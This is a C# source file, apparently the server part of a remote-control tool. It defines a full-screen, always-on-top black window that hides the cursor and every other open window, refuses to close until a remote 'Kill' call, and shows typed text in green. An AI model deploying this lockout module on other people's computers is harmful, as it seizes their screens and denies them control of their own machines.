using System; using System.Drawing; using System.Windows.Forms; using System.Text; using System.Runtime.InteropServices; using System.Diagnostics; namespace BigEyes.Server { public class Matrix : Form, IDisposable { private StringBuilder _text; private bool _canClose; private Windows _windows; [DllImport("user32.dll")] private static extern int ShowCursor(int bShow); public Matrix() { this.SetStyle(ControlStyles.UserPaint, true); this.SetStyle(ControlStyles.AllPaintingInWmPaint, true); this.SetStyle(ControlStyles.DoubleBuffer, true); this.FormBorderStyle = FormBorderStyle.None; this.StartPosition = FormStartPosition.Manual; this.Location = new Point(0, 0); this.Size = Screen.FromControl(this).Bounds.Size; this.TopMost = true; this.BackColor = Color.Black; this.FormClosing += new FormClosingEventHandler(Matrix_FormClosing); ShowCursor(0); _text = new StringBuilder(); _canClose = false; _windows = new Windows(false, true); foreach (Window w in _windows) { if (w.hWnd != this.Handle) { w.Visible = false; } } _windows.Reset(); } ~Matrix() { Kill(); } private void Matrix_FormClosing(object sender, FormClosingEventArgs e) { e.Cancel = !_canClose; } public void Kill() { if (!_canClose) { _canClose = true; foreach (Window w in _windows) { if (w.hWnd != this.Handle) { w.Visible = true; } } ShowCursor(-1); this.Invoke(new MethodInvoker(this.Close)); } } public void CharPress(char c) { if (c == '\b' && _text.Length > 0) { _text.Remove(_text.Length - 1, 1); } else if (c == '\r') { _text.Append('\n'); } else { _text.Append(c); } this.Invalidate(); } protected override void OnPaint(PaintEventArgs e) { base.OnPaint(e); e.Graphics.DrawString(_text.ToString() + '\b', new Font(FontFamily.GenericMonospace, 10), Brushes.GreenYellow, new RectangleF(0, 0, this.Width, this.Height)); } #region IDisposable Members public void Dispose() { Kill(); } #endregion } }